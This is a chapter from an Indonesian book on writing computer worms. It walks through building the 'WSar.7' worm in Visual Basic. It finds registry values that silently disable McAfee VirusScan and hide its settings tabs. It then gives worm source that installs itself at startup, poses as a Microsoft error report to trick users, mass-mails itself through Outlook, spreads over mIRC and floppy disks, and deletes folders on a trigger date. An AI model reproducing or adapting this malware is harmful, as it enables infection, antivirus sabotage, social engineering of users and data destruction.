Dengan subkey sebagai berikut: Agent Agent\Apps Agent\Apps\VSO Agent\Links Agent\OEM Agent\Regwiz Agent\ResultLog Agent\SecurityNews Agent\SecurityNews\OEM Agent\Update Agent\Update\Download
180
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 13. Worm WSar.7
Agent\Update\Download\McUpdMgrLog Agent\Update\ResultLog RegWiz RegWiz\Installer SharedModules SharedModules\c:%progra~1%mcafee.com%shared%dunzip32.dll SharedModules\c:%progra~1%mcafee.com%shared%mcappins.exe SharedModules\c:%progra~1%mcafee.com%shared%mcappins.inf SharedModules\c:%progra~1%mcafee.com%shared%mghtml.exe SharedModules\c:%progra~1%mcafee.com%shared%mghtml.inf Virusscan Online Virusscan Online\AVERT Virusscan Online\Customize Virusscan Online\Customize\ActiveShield Virusscan Online\Customize\Alerts Virusscan Online\Customize\Alerts\WormStopper Virusscan Online\Customize\Menu Virusscan Online\Customize\Menu\1029 Virusscan Online\Customize\Menu\1030 Virusscan Online\Customize\Menu\1031 Virusscan Online\Customize\Menu\1033 Virusscan Online\Customize\Menu\1279 Virusscan Online\Customize\Menu\2057 Virusscan Online\Customize\Menu\257 Virusscan Online\Customize\Menu\258 Virusscan Online\Customize\Menu\260 Virusscan Online\Customize\Menu\264 Virusscan Online\Customize\Menu\266 Virusscan Online\Customize\Menu\515 Virusscan Online\Customize\ods Virusscan Online\Customize\Options Virusscan Online\Customize\Options\AdvAShield Virusscan Online\Customize\Options\AdvEmailScan Virusscan Online\Customize\Options\AdvFTScan Virusscan Online\Customize\Options\AdvScriptStopper Virusscan Online\Customize\Options\AdvWormStopper Virusscan Online\Customize\Options\AShield Virusscan Online\Customize\Options\Schedular Virusscan Online\Customize\Options\VMap Virusscan Online\Customize\ShortCuts Virusscan Online\Customize\ShortCuts\aruninstall Virusscan Online\Customize\ShortCuts\dsscannow Virusscan Online\Customize\ShortCuts\psashield Virusscan Online\Customize\ShortCuts\psedisk Virusscan Online\Customize\ShortCuts\psquarantine Virusscan Online\Customize\ShortCuts\psscannow Virusscan Online\Customize\ShortCuts\psuninstall Virusscan Online\Customize\ShortCuts\psvso Virusscan Online\Customize\Uninstall Virusscan Online\Customize\VirusInfo Virusscan Online\Installer Virusscan Online\Links Virusscan Online\property Virusscan Online\property\notify Virusscan Online\RescueDisk
181
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Kemudian menyimpan hasil ekspor registry tersebut dengan nama ENABLE. REG 2. Langkah berikutnya adalah membuka panel konfigurasi, dengan mengklik kanan icon McAfee VirusScan pada system tray, menyorot VirusScan dan memilih Options
Bab 13. Worm WSar.7
3. Akan tampil kotak dialog konfigurasi Options, terdiri dari tiga tab, termasuk tab ActiveShield yang menjadi tab utama dimana tab ini memiliki beberapa opsi yang semuanya dalam keadaan terseleksi, yaitu: a. Start ActiveShield when Windows starts: jika opsi ini terseleksi berarti ActiveShield akan aktif saat Windows startup, dimana ActiveShield bekerja secara background yang akan melindungi system dari malcode (program perusak/jahat) saat run-time. b. Scan e-mail and attachments: jika opsi ini terseleksi maka Ac-
182
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
tiveShield akan memeriksa e-mail dan attachment yang masuk (POP3), dan yang keluar (SMTP) untuk beberapa aplikasi e-mail yang terbilang populer, seperti Outlook Express, MS Outlook, Netscape Messenger, Netscape Mail, Eudora Light, Eudora Pro, Pegasus dan lain sebagainya. c. Scan inbound instant message attachments: jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan saat suatu e-mail ber-attachment secara instant dibuka oleh suatu aplikasi seperti MSN Messenger, Yahoo Messenger dan AOL Instant Messenger. Bersihkan seleksi dengan menghilangkan tanda check pada CheckBox untuk opsi Start ActiveShield when Windows starts, dan opsi Scan inbound instant message attachments.
a. Scan for new unknown viruses: jika opsi ini terpilih maka ActiveShield menggunakan teknik heuristic, dimana antivirus mendeteksi worm atau virus baru dengan mencocokan suatu pola yang biasanya digunakan worm atau virus. b. Pada frame File Types to Scan, jika opsi All files terseleksi maka ActiveShield akan memeriksa seluruh jenis file, tetapi jika opsi yang aktif adalah Program files and documents only maka ActiveShield hanya akan memeriksa file program dan file dokumen saja.
183
Jasakom
Bab 13. Worm WSar.7
4. Klik tombol Advanced pada tab ActiveShield untuk pengaturan konfigurasi yang lebih mendetail, dan sebuah kotak dialog baru terbuka dengan langsung menuju pada tab ActiveShield, kemudian bersihkan seleksi untuk setiap opsi yang ada.
Computer Worm 1 - Secret of Underground Coding : Uncensored
5. Klik tab E-mail Scan. Tab ini memberikan opsi yang berkaitan dengan proses pengiriman dan penerimaan e-mail. Bersihkan seleksi untuk setiap opsi yang ada. a. Inbound e-mail messages. Jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan apabila suatu e-mail diterima. Opsi ini memiliki sub lainnya yaitu; Automatically clean infected attachments yang berarti secara otomatis membersihkan attachment yang terinfeksi, dan Prompt me when attachment needs to be cleaned yang memiliki arti agar mengkonfirmasikan terlebih dahulu dengan pengguna apabila suatu attachment perlu untuk dibersihkan dari suatu malcode. b. Outbound e-mail messages, jika opsi ini terseleksi maka ActiveShield akan melakukan pemeriksaan untuk setiap e-mail yang akan dikirimkan.
Bab 13. Worm WSar.7
6. Klik tab ScriptStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas ScriptStopper, yang berguna untuk menampilkan konfirmasi pengeksekusian untuk setiap script atau program yang memanfaatkan penggunaan script. Kemudian bersihkan seleksi untuk setiap opsi yang ada.
184
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
8. Kini setiap opsi yang ada pada kotak dialog Advanced ActiveShield Options tidak terseleksi, klik OK untuk mengakhiri dan langsung menuju kotak dialog Options. Bersihkan seleksi pada opsi Scan e-mail and attachments, dan akhiri kotak dialog Options dengan mengklik OK. 9. Kembali pada aplikasi Registry Editor, kemudian ekspor dan simpan kembali nilai registry yang dimiliki aplikasi antivirus tersebut, dengan memberi nama file yang berbeda, misalnya DISABLE.REG. 10. Kemudian buka file ENABLE.REG dan DISABLE.REG dengan menggunakan aplikasi text editor, lalu bandingkan dan kumpulkan nilai registry yang berubah. Penulis menyarankan agar Anda menggunakan aplikasi yang memiliki fasilitas compare seperti UltraEdit. Dari perbandingan dua file tersebut, didapatkan beberapa perubahan nilai registry sebagai berikut:
185
Jasakom
Bab 13. Worm WSar.7
7. Klik tab WormStopper. Tab ini digunakan untuk mengaktifkan atau menonaktifkan fasilitas WormStopper, yang berguna untuk menampilkan pesan peringatan jika menemukan suatu program yang memiliki pola persis dengan suatu worm, yang cenderung mengirimkan e-mail secara masal. Bersihkan seleksi untuk setiap opsi yang ada.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Key
HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property
Value
ActiveShield:ScanHeuristic
Type
REG_BINARY
Data ENABLE.REG
Data DISABLE.REG
04 00 00 00 03 00 00 00 E0 C4 A8 8F 88 D6 72 FB DA 76 62 82 1D 5E B0 A3 05 04 04 04
Key
HKLM\SOFTWARE\McAfee.com\Virusscan Online\property
Value
EmailScan:Enable
Type
REG_BINARY
Data ENABLE.REG 04 00 E2 64
00 41 A5 5C
00 90 A3 E9
00 0D EA 02
03 8F AE 04
00 5E 08 04
Key Bab 13. Worm WSar.7
04 E0 DA 05
00 E2 2F 04
Data DISABLE.REG 04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
HKLM\SOFTWARE\McAfee. com\Virusscan Online\property
Value
WS:Enable
Type
REG_BINARY
Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04 Key Value
186
04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04
Jasakom
HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property ScriptStopper:Enable
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Type
Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04 Key
04 E0 DA 05
Value
ActiveShield:LoadAtStartup
Type
REG_BINARY
Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04 Key
04 E0 DA 05
HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property
HKLM\SOFTWARE\McAfee.com\ Virusscan Online\property
Value
FT:Enable
Type
REG_BINARY
Data ENABLE.REG Data DISABLE.REG 00 00 00 03 00 00 00 04 00 00 00 03 00 00 00 C4 A8 8F 88 D6 72 FB BC 2A 89 9A DF 50 32 ED 76 62 82 1D 5E B0 A3 55 26 3F 04 E7 E3 39 27 04 04 04 04 04 04 04
11. Dari perubahan-perubahan tersebut dapat disimpulkan bahwa data binary yang digunakan untuk menonaktifkan fasilitas-fasilitas tersebut adalah: 04 00 00 00 03 00 00 00 BC 2A 89 9A DF 50 32 ED 55 26 3F 04 E7 E3 39 27 04 04 04 04. Sehingga untuk menonaktifkannya cukup memanipulasi registry dengan menggunakan data-data tersebut.
187
Jasakom
Bab 13. Worm WSar.7
04 E0 DA 05
REG_BINARY
Computer Worm 1 - Secret of Underground Coding : Uncensored
12. Seorang worm writer tentunya akan berfikir agar segala manipulasi yang dilakukannya tidak diketahui oleh user, atau sedikitnya akan menyulitkan advanced user untuk mengembalikan manipulasi tersebut, demikian pula dengan manipulasi konfigurasi antivirus ini, setiap user dengan mudah mengaktifkan segala fasilitas pada antivirus hanya dengan membuka kotak dialog Options dan Advanced Option untuk kemudian memberi seleksi untuk setiap opsi. Berikut ini adalah beberapa manipulasi registry yang penulis temukan untuk menyembunyikan tab pada kotak dialog Options dan Advanced Options, sehingga akan sangat membingungkan bahkan untuk seorang advanced user sekalipun, dalam menemukan opsi-opsi tersebut.
Dialog Box
Advanced ActiveShield Options
Tab
ActiveShield
Key
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\AdvAShield
Value
State
Type
REG_BINARY
Data
4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Bab 13. Worm WSar.7
Dialog Box Advanced ActiveShield Options Tab
E-mail Scan
Key
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AdvEmailScan
Value
State
Type
REG_BINARY
Data
4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
188
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Advanced ActiveShield Options
Tab
ScriptStopper
Key
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customize\Options\AdvScriptStopper
Value
State
Type
REG_BINARY
Data
4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box
Advanced ActiveShield Options
Tab
WormStopper
Key
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\Virusscan Online\Customi ze\Options\AdvWormStopper
Value
State
Type
REG_BINARY
Data
4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box
Options
Tab
ActiveShield
Key
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\AShield
Value
State
Type
REG_BINARY
Data
4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
189
Jasakom
Bab 13. Worm WSar.7
Dialog Box
Computer Worm 1 - Secret of Underground Coding : Uncensored
Dialog Box
Options
Tab
Virus MAP Reporting
Key
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\VMap
Value
State
Type
REG_BINARY
Data
4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Dialog Box
Options
Tab
Scheduled Scan
Key
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com\ Virusscan Online\Customi ze\Options\Schedular
Value
State
Type
REG_BINARY
Data
4D 43 52 47 01 00 00 00 04 00 00 00 04 00 00 00 38 27 D5 69 62 1F EC D1 43 ED 11 8D 7A 2E A0 BE A2 23 19 07
Bab 13. Worm WSar.7
Catatan: Bug ini telah penulis posting ke lab McAfee (NAI), dan untuk menghindari trik seperti ini Anda cukup menghapus semua nilai registry pada key: HKEY_LOCAL_MACHINE\SOFTWARE\McA fee. com karena aplikasi McAfee VirusScan akan segera menggunakan konfigurasi default, hal ini juga membuktikan bahwa aplikasi McAfee VirusScan sebenarnya sudah mempersiapkan diri jika sewaktuwaktu suatu worm atau virus akan menghapus konfigurasi pada nilai registry, yang akan mengakibatkan aplikasi McAfee VirusScan tidak dapat berjalan dengan normal.
190
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
13.2 ALGORITMA
13.3 PEMROGRAMAN Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.7’ Tambahkan 1 buah object Shape, 1 buah object Line, 6 buah object Label, 2 buah object CommandButton, 1 buah object TextBox, 3 buah object Timer dan 3 buah Module, kemudian atur properti untuk masingmasing object tersebut sebagai berikut:
191
Jasakom
Bab 13. Worm WSar.7
WSar.7 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Worm menyembunyikan aplikasi file worm dari task list 3. Membuka aplikasi Notepad saat user mengeksekusinya 4. Memeriksa keberadaan McAfee VirusScan, dan memanipulasi registry jika menemukannya 5. Menginfeksi system dengan membuat salinan worm pada folder Windows dan System Windows 6. Memanfaatkan aplikasi mIrc dengan berusaha mengirimkan salinan worm dengan nama wintweak.exe 7. Pada saat tertentu menampilkan fake form sebagai suatu usaha rekayasa sosial agar user mengijinkan worm mengirimkan e-mail 8. Pada saat tertentu berusaha menginfeksi disket dan mengakses printer dengan mencetak suatu pesan 9. Pada tanggal 13 Oktober, worm akan menghapus folder dan sub folder Temp, kemudian menampilkan pesan "WSar.7 Ada Pada Komputer Anda".
Computer Worm 1 - Secret of Underground Coding : Uncensored
Properti object Form1 Jenis
Nilai
Keterangan
Name
frmWSar7
Mengatur nama form menjadi frmWSar7
BackColor
&H80000016&
Warna latar belakang diatur pada mode Light Shadow
Caption
MICROSOFT WINDOWS TEAM
Caption ini berkaitan dengan rekayasa sosial yang akan digunakan.
ControlBox
False
Tidak menampilkan ControlBox pada form
Height
3855
Mengatur tinggi form
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.7 menggunakan icon text. ico
MaxButton
False
Tidak menampilkan tombol maximize
MinButton
False
Tidak menampilkan tombol minimize
ShowInTaskbar
False
Tidak tampil pada taskbar
StartUp Position
2 – Center Screen
Mengatur form agar berada ditengah layar
Visible
False
Tidak menampilkan form
Width
6285
Mengatur lebar form
Bab 13. Worm WSar.7
Properti object Shape1 Jenis
Nilai
Keterangan
BorderStyle
Transparent
FillColor
&H00FFFFFF& Warna isi menjadi putih
FillStyle
0 - Solid
Metode pengisian warna menjadi solid
Height
850
Tinggi Shape
Left
0
Posisi dari kiri
Shape
0 – Rectangle
Jenis Shape
Top
0
Posisi dari atas
Width
6175
Lebar Shape
192
Jasakom
Tidak menampilkan garis tepi
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti object Line1 Jenis
Nilai
Keterangan
BorderColor &H00808080&
Abu-abu gelap
X1
0
Posisi garis pada koordinat X untuk point 1
X2
6200
Posisi garis pada koordinat X untuk point 2
Y1
810
Posisi garis pada koordinat Y untuk point 1
Y2
810
Posisi garis pada koordinat Y untuk point 2
Properti object Label1 Nilai
Keterangan
0 - Transparent
Mengatur latar belakang agar menjadi transparan
Caption
SYSTEM WINDOWS has encountered a problem and needs to report. We are sorry for the inconvenience.
Mengatur teks pada Caption
Font
Font: MS San Serif Font Style: Bold Size: 8
Mengatur huruf yang digunakan
Height
495
Tinggi Label
Left
360
Posisi dari kiri
Top
210
Posisi dari atas
Width
5415
Lebar Label
Properti object Label2 Jenis
Nilai
Keterangan
Back Style
0 - Transparent
Mengatur latar belakang agar menjadi transparan
Caption
If you were in the middle of something, the information you were working on might be lost.
Mengatur teks pada Caption
Height
495
Tinggi Label
Left
360
Posisi dari kiri
Top
1020
Posisi dari atas
Width
5535
Lebar Label
193
Jasakom
Bab 13. Worm WSar.7
Jenis Back Style
Computer Worm 1 - Secret of Underground Coding : Uncensored
Properti object Label3 Jenis
Nilai
Keterangan
Back Style
0 - Transparent
Mengatur latar belakang agar menjadi transparan
Caption
Please tell Microsoft about this problem.
Mengatur teks pada Caption
Font
Font: MS San Serif Font Style: Bold Size: 8
Mengatur huruf yang digunakan
Height
255
Tinggi Label
Left
360
Posisi dari kiri
Top
1640
Posisi dari atas
Width
5175
Lebar Label
Properti object Label4 Jenis
Nilai
Keterangan
Bab 13. Worm WSar.7
Back Style
0 - Transparent
Mengatur latar belakang agar menjadi transparan
Caption
We have created an error report that you can send to us. We will treat this report as confidential and anonymous.
Mengatur teks pada Caption
Height
495
Tinggi Label
Left
360
Posisi dari kiri
Top
1875
Posisi dari atas
Width
5175
Lebar Label
Properti object Label5 Jenis
Nilai
Keterangan
Back Style
0 - Transparent
Mengatur latar belakang agar menjadi transparan
Caption
To see what data this error report contains,
Mengatur teks pada Caption
Height
255
Tinggi Label
194
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Left
360
Posisi dari kiri
Top
2600
Posisi dari atas
Width
3135
Lebar Label
Properti object Label6 Jenis
Nilai
Keterangan
Back Style
0 - Transparent
Mengatur latar belakang agar menjadi transparan
Caption
To see what data this error report contains,
Mengatur teks pada Caption
ForeColor
&H00FF0000&
Mengatur warna huruf menjadi biru
Height
255
Tinggi Label
Left
3480
Posisi dari kiri
Top
2600
Posisi dari atas
Width
855
Lebar Label
Properti object Command1 Jenis
Nilai
Keterangan
CmdSend
Mengatur nama CommandButton menjadi CmdSend
Caption
Send Error Report
Mengatur teks pada Caption
Height
325
Tinggi object
Left
3160
Posisi dari kiri
Top
2950
Posisi dari atas
Width
1575
Lebar object
Bab 13. Worm WSar.7
(Name)
195
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Properti object Command2 Jenis
Nilai
Keterangan
(Name)
cmdDontSend
Mengatur nama CommandButton menjadi cmdDontSend
Caption
Don’t Send
Mengatur teks pada Caption
Height
325
Tinggi object
Left
4890
Posisi dari kiri
Top
2950
Posisi dari atas
Width
1100
Lebar object
Properti object Timer1 Jenis
Nilai
Keterangan
Name
tmrSpreading
Mengatur nama Timer menjadi tmrSpreading
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer2 Jenis
Nilai
Keterangan
Bab 13. Worm WSar.7
Name
tmrIseng
Mengatur nama Timer menjadi tmrIseng
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer3 Jenis
Nilai
Keterangan
Name
tmrWinForce
Mengatur nama Timer menjadi tmrWinForce
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
50
Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.05 detik
196
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti object Text1 Jenis
Nilai
Keterangan
Name
txtPath
Mengatur nama TextBox menjadi txtPath
Visible
False
TextBox tidak akan diperlihatkan, object ini ditambahkan dengan tujuan untuk mendukung suatu procedure pada Form
Tampilan form WSar.7
Properti Module1 Nilai mdlDeltree
Keterangan Mengatur nama module menjadi mdlDeltree
Properti Module2 Jenis
Nilai
Keterangan
Name
mdlRegistryAPI
Mengatur nama module menjadi mdlRegistryAPI
Properti Module3 Jenis Name
Nilai mdlWinForce
Keterangan Mengatur nama module menjadi mdlWinForce
197
Jasakom
Bab 13. Worm WSar.7
Jenis Name
Computer Worm 1 - Secret of Underground Coding : Uncensored
Ketik kode program berikut ini pada module mdlDeltree:
Bab 13. Worm WSar.7
Function Deltree(ByVal dirpath As String) As Long On Error GoTo nogo Dim filetemp As String Dim etrap As Long If Right(dirpath, 1) "\" Then dirpath = dirpath & "\" filetemp = Dir(dirpath, vbDirectory) Do While Trim(filetemp) "" If Trim(filetemp) "." And Trim(filetemp) ".." Then If (GetAttr(dirpath + filetemp) And vbDirectory) = _ vbDirectory Then etrap = Deltree(dirpath + filetemp) filetemp = Dir(dirpath, vbDirectory) Else filetemp = Dir(, vbDirectory) End If Else filetemp = Dir(, vbDirectory) End If Loop filetemp = Dir(dirpath + "*.*") Do While Trim(filetemp) "" SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop filetemp = Dir(dirpath + "*.*", vbHidden) Do While Trim(filetemp) "" SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop If Right(dirpath, 1) = "\" Then dirpath = Mid(dirpath, 1, Len _ (dirpath) - 1) SetAttr(dirpath, vbNormal) RmDir(dirpath) Deltree = 0 Exit Function nogo: Deltree = Err.Number End Function
Ketik kode program berikut ini pada object frmWSar7: 'WSar.7 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On
198
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal _ uFlags&, ByVal dwReserved&) Private Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As Long Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255
Private Sub cmdSend_Click() On Error Resume Next Me.Hide() MsgBox("System will scan your outlook files including your add" & _ "ress book for some reason, you may see the Outlook confirm" & _ "ation dialog, please allow access and click yes in confirmatio" & _ "n box. Thanks for your contribution - Microsoft Windows Te" & _ "am.", vbOKOnly + vbInformation, "MICROSOFT WINDO" & _ "WS TEAM - PLEASE READ THIS") Call InfectMail() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(0) & "\wintweak.exe") FileCopy(WormFile, SpecialFolder(1) & "\kerne132.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "winsys", SpecialFolder(1) & _ "\kerne132.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt", "") End Sub
199
Jasakom
Bab 13. Worm WSar.7
Private Sub Form_Load() On Error Resume Next Dim mcAfeeExist As String If App.PrevInstance = True Then End If LCase(App.Path) LCase(SpecialFolder(1)) Then Shell (SpecialFolder(0) & "\notepad.exe"), vbNormalFocus End If mcAfeeExist = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\McAfee.com\Virusscan Online\property", "Scri" & _ "ptStopper:Enable") If mcAfeeExist "" Then Call McAfee_MyFriend() End If Call InfectSystem() Call mIrc() End Sub
Computer Worm 1 - Secret of Underground Coding : Uncensored
Private Sub tmrSpreading_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo stopit If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Me.Show() End If stopit: End Sub Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "readme.txt" NamaCantik(1) = "hello.txt" NamaCantik(2) = "readfirst.txt" NamaCantik(3) = "important.txt" NamaCantik(4) = "mystery.txt" NamaCantik(5) = "secret.txt" NamaCantik(6) = "crucial.txt" NamaCantik(7) = "sacred.txt" NamaCantik(8) = "joke.txt" NamaCantik(9) = "funny.txt" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*txt .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & " .exe") End If End Sub
Bab 13. Worm WSar.7
Private Sub InfectMail() On Error Resume Next Dim CountLoop, searchlist, searchemails As Integer Dim kiddie As Object Dim winfolder As Object Dim a, b, c kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) a = CreateObject("Outlook.Application") If Not a = "" Then b = a.GetNameSpace("MAPI") For searchlist = 1 To b.AddressLists.Count CountLoop = 1 c = a.CreateItem(0) For searchemails = 1 To b.AddressLists(searchlist). _ AddressEntries.Count c.Recipients.Add(b.AddressLists(searchlist).AddressEntries _ (CountLoop)) CountLoop = CountLoop + 1 Next
200
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
c.Subject = "WinTweak " & Year(Now) + 1 c.Body = "Here’s a file that will tweak your windows " & _ "more faster..." c.Attachments.Add(winfolder & "\" & "wintweak.exe") c.DeleteAfterSubmit = True c.Send()
Private Sub mIrc() On Error GoTo stopit Dim mIrcPath As String txtPath.Text = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\Classes\irc\DefaultIcon", "") mIrcPath = Mid(txtPath.Text, 2, (Len(txtPath.Text) - 11)) If Dir(mIrcPath, vbDirectory) "" Then FileCopy(WormFile, mIrcPath & "\wintweak.exe") Open mIrcPath & "\script.ini" For Output As 1 Print #1, "[script]" Print #1, "n0= on 1:TEXT:*hello*:#:{" Print #1, "n1= /if ( $nick == $me ) { halt }" Print #1, "n2= /msg $nick Hello.. here’s a file that will tweak you" & _ "r windows more faster..." Print #1, "n3= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n4= }" Print #1, "n5= on 1:JOIN:#:{" Print #1, "n6= /if ( $nick == $me ) { halt }" Print #1, "n7= /msg $nick Hello.. here’s a file that will increase y" & _ "our computer memory up to 64 MB..." Print #1, "n8= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n9= }" Print #1, "n10= on 1:PART:#:{" Print #1, "n11= /if ( $nick == $me ) { halt }" Print #1, "n12= /msg $nick Hello.. here’s a file that will increase" & _ "your VGA Card memory..." Print #1, "n13= /dcc send -c $nick " & mIrcPath & "\wintweak.exe" Print #1, "n14= }" Close(1) End If stopit: End Sub Private Sub McAfee_MyFriend() On Error Resume Next SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanHeu" & _ "ristic", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "EmailScan:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "WS:Enable", "040000" & _ "0003000000bc2a899adf5032ed55263f04e7e3392704040404")
201
Jasakom
Bab 13. Worm WSar.7
Next End If End Sub
Computer Worm 1 - Secret of Underground Coding : Uncensored
SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ScriptStopper:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanAll" & _ "Files", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:LoadAtS" & _ "tartup", "0400000003000000bc2a899adf5032ed55263f04e7e" & _ "3392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\Customize\Options\AShield", "State", _ "4d4352470100000004000000040000003827d569621fecd14" & _ "3ed118d7a2ea0bea2231907") End Sub Private Sub tmrIseng_Timer() If Minute(Now) = 30 And Second(Now) = 1 Then Printer.CurrentX = 1000 Printer.CurrentY = 1000 Printer.FontBold = True Printer.FontUnderline = True Printer.FontItalic = False Printer.FontSize = 30 Printer.Print("WSAR.7 WAS HERE") Printer.CurrentX = 1000 Printer.FontUnderline = False Printer.FontItalic = True Printer.FontSize = 18 Printer.Print("BRING THE TRUTH TO YOUR HOME") Printer.EndDoc() End If If Day(Now) = 13 And Month(Now) = 10 Then Call Payload() End Sub
Bab 13. Worm WSar.7
